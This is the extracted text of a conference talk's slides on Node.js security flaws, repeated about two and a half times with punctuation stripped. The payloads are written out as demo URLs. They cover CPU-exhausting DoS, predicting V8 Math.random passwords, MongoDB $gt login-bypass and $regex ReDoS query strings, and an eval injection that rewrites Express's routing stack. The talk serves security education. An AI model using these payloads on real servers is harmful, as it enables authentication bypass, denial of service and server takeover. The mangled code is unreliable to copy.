the node.js highway: attacks are at full throttle · applications (db queries) and applications...
TRANSCRIPT
1
The Nodejs Highway
Attacks are at Full Throttle
Maty Siman CTO
Checkmarx
Agenda
Architecture
DoS
Weak Crypto
JSON ndash itrsquos everywhere
ReDoS
Traceless Routing Hijacking
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
Built on top of Chromersquos V8 engine
var fs = require(fs) var fileName = footxt fsexists(fileName function(exists) if (exists) fsstat(fileName function(error stats) if (statssize gt 10241024) consolelog(ldquoLargerdquo) ) ) ) )
Event Loop
Event Queue
Event Loop
(Single thread)
File System
Database
Network
Register Callback
Operation Complete
Trigger Callback
httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
bull No multi-threading context switching
bull CPU doesnrsquot wait for IO to finish so works great for IO intensive
applications (DB queries) and applications with a lot of user interaction
(web apps)
bull Doesnrsquot work well for CPU intensive applications
bull Once your code finishes its current operation the event-loop fetches
the next event with its associated callback function
DoS
Function sum (p)
for (i=1ilt=p++i)
f=f+i
This makes nodejs highly vulnerable to DoS
httplocalhost49090sump=5
httplocalhost49090sump=100000000
httplocalhost49090sump=5
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Agenda
Architecture
DoS
Weak Crypto
JSON ndash itrsquos everywhere
ReDoS
Traceless Routing Hijacking
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
Built on top of Chromersquos V8 engine
var fs = require(fs) var fileName = footxt fsexists(fileName function(exists) if (exists) fsstat(fileName function(error stats) if (statssize gt 10241024) consolelog(ldquoLargerdquo) ) ) ) )
Event Loop
Event Queue
Event Loop
(Single thread)
File System
Database
Network
Register Callback
Operation Complete
Trigger Callback
httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
bull No multi-threading context switching
bull CPU doesnrsquot wait for IO to finish so works great for IO intensive
applications (DB queries) and applications with a lot of user interaction
(web apps)
bull Doesnrsquot work well for CPU intensive applications
bull Once your code finishes its current operation the event-loop fetches
the next event with its associated callback function
DoS
Function sum (p)
for (i=1ilt=p++i)
f=f+i
This makes nodejs highly vulnerable to DoS
httplocalhost49090sump=5
httplocalhost49090sump=100000000
httplocalhost49090sump=5
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
Built on top of Chromersquos V8 engine
var fs = require(fs) var fileName = footxt fsexists(fileName function(exists) if (exists) fsstat(fileName function(error stats) if (statssize gt 10241024) consolelog(ldquoLargerdquo) ) ) ) )
Event Loop
Event Queue
Event Loop
(Single thread)
File System
Database
Network
Register Callback
Operation Complete
Trigger Callback
httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
bull No multi-threading context switching
bull CPU doesnrsquot wait for IO to finish so works great for IO intensive
applications (DB queries) and applications with a lot of user interaction
(web apps)
bull Doesnrsquot work well for CPU intensive applications
bull Once your code finishes its current operation the event-loop fetches
the next event with its associated callback function
DoS
Function sum (p)
for (i=1ilt=p++i)
f=f+i
This makes nodejs highly vulnerable to DoS
httplocalhost49090sump=5
httplocalhost49090sump=100000000
httplocalhost49090sump=5
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
